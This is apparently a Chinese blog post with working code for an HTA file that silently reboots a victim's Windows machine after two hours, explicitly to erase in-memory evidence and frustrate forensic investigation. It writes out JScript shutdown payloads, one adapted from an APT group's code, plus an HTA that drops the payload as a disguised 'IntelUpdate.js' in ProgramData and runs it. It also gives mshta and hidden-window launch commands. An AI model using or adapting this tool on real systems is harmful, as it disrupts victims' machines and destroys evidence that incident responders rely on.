目的:通过加载hta文件使得受害主机两个小时后自动重启,从而清除内存痕迹防止取证。
0x01 编写js文件
通过js来设置定时任务,网上找到源码修改的,实际上测试的时候这个会有弹窗而且可以通过shutdown -a
直接取消掉定时关机任务。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| function run(str){ try{ var objShell = new ActiveXObject("wscript.shell"); objShell.Run(str); objShell=null; }catch(e){ tipAlert({"title":"提示","msg":"错误"+e+"<br>"}); } }
function shut_down(){ run("shutdown -r -t 7200"); } shut_down()
|
学习专业组织的做法,在绿盟关于SIDECOPY组织的APT报告中提到了他们所使用的代码。
1 2 3 4
| var ShAllWeAccepTheChallenge = new ActiveXObject('WScript.Shell'); WScript.Sleep(7200000); var executeMyScript = ShAllWeAccepTheChallenge.Exec('cmd.exe /k shutdown /r /t 0'); executeMyScript.StdIn.Close();
|
经过测试这种方法更优,当程序执行到WScript.Sleep
后会直接挂起,在后台静默等待(从任务管理器中可以看到wscript.exe
进程),等待时间结束后自动调用cmd
执行。由于这里的shutdown
设置的是t=0
所以cmd
闪屏一下后直接就自动重启了。
如果用户点击,整个过程是无感的,没有弹窗也没有别的提示,只有在最后关机的阶段才会闪一下命令弹窗。如果想要提前关闭,可以手动终结掉wscript.exe
进程。
0x02 编写hta文件
代码有点烂=.=
,执行hta后释放一个IntelUpdate.js
文件,然后通过加载IntelUpdate.js
文件实现定时重启。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <html> <head> <script language="jscript"> function IntelUpdate() { var fso, f1, ts, s; var ForReading = 1; fso = new ActiveXObject("Scripting.FileSystemObject"); f1 = fso.CreateTextFile("C:\\ProgramData\\IntelUpdate.js", true); f1.WriteLine("function shut_down(){"); f1.WriteLine(" var ShAllWeAccepTheChallenge = new ActiveXObject('WScript.Shell');"); f1.WriteLine(" WScript.Sleep(7200000);"); f1.WriteLine(" var executeMyScript = ShAllWeAccepTheChallenge.Exec('cmd.exe /k shutdown /r /t 0');"); f1.WriteLine(" executeMyScript.StdIn.Close();"); f1.WriteLine("}"); f1.WriteLine("shut_down()"); f1.WriteBlankLines(1); f1.Close(); } IntelUpdate() var cmd = new ActiveXObject("WScript.Shell"); cmd.run("C:\ProgramData\IntelUpdate.js"); cmd = null; </script> </head> <body> </body> </html>
|
本地同目录加载
1
| mshta.exe "$pwd\test.hta"
|
隐藏执行(看上去有点傻(: _ ),当做个笔记吧T.T
run
后面可以使用1和0来决定是否显示窗口
1 2 3 4
| var cmd = new ActiveXObject("WScript.Shell"); cmd.run("C:\\tmp\\test.hta",0); cmd = null; window.close();
|
0x03 参考